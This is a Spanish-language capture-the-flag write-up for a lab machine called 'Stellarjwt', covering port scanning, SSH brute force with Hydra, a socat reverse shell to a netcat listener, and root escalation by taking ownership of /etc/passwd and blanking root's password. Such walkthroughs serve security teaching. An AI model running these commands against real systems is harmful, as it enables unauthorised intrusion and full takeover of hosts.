> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/stellarjwt-write-up.md).

# Stellarjwt write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/Mj8e9SQWDxzrmtEtSKxP" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo para identificar los puertos abiertos de la máquina víctima.**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/iyMYgAmWurLzYh2oKrtF" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:

<figure><img src="/files/yT2cEpynTxVs6SPuDjS0" alt=""><figcaption></figcaption></figure>

La respuesta a la pregunta es `Johann Gottfried Galle`. Por lo tanto, guardaremos cada palabra en dos diccionarios: uno de contraseñas y otro de usuarios. Además también vamos a guardar la palabra `neptuno` por si fuese la contraseña o el usuario.

```plaintext
Johann
Gottfried
Galle
neptuno
```

<figure><img src="/files/D136JyWFVNPelfpfQcYK" alt=""><figcaption></figcaption></figure>

Y ahora vamos a hacer un ataque de fuerza bruta al servicio SSH con la herramienta **Hydra** con el siguiente comando:

```bash
hydra -L usuarios.txt -P contrasena.txt -I ssh://172.17.0.2 -V -F -u 
```

<figure><img src="/files/spwJMfMQne5pqAVeHXTL" alt=""><figcaption></figcaption></figure>

Esto indica que el usuario es `neptuno` y la contraseña es `Gottfried`, así que ingresamos a la máquina víctima.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, nos encontramos en el directorio `/home/neptuno` el archivo oculto `.carta_a_la_NASA.txt`, el cual contiene lo siguiente:

<figure><img src="/files/fneTICcefuH8tXNytb93" alt=""><figcaption></figcaption></figure>

Así que vamos a usar `Eisenhower` como contraseña para iniciar sesión como el usuario `nasa`.

<figure><img src="/files/AoPgj75VsMqnNgkJsoH0" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `nasa`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/socat` como el usuario `elite`.

<figure><img src="/files/Gg7gZFxYvb25CbBafahw" alt=""><figcaption></figcaption></figure>

Ahora, pondremos nuestra máquina local en escucha usando Netcat en el puerto 4444 y luego enviaremos una shell con Socat.

```bash
sudo nc -nlvvp 4444
```

<figure><img src="/files/ZBT836hXfFUzD6Xb6uiI" alt=""><figcaption></figcaption></figure>

```bash
sudo -u elite socat EXEC:/bin/bash TCP:172.17.0.1:4444
```

<figure><img src="/files/6cQAsqZ9xEz8kAZhNgWn" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `elite`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/chown` como el usuario `root`.

<figure><img src="/files/HtJqWy5T2cM7pJfT4hbe" alt=""><figcaption></figcaption></figure>

Ahora ejecutamos el siguiente comando para cambiar el propietario del archivo `/etc/passwd`:

```bash
 sudo /usr/bin/chown elite:elite /etc/passwd
```

<figure><img src="/files/19dZfhxvgxfnGpFzQjJo" alt=""><figcaption></figcaption></figure>

Ahora modificamos el archivo `/etc/passwd` para que el usuario root no tenga contraseña ejecutando lo siguiente:

```bash
printf "%s\n" "$(cat /etc/passwd | sed 's/root:x:/root::/g')" > /etc/passwd && su
```

<figure><img src="/files/lcjMFj4TaFDbh2n07Srx" alt=""><figcaption></figcaption></figure>

Y finalmente habríamos obtenido una shell con privilegios elevados.
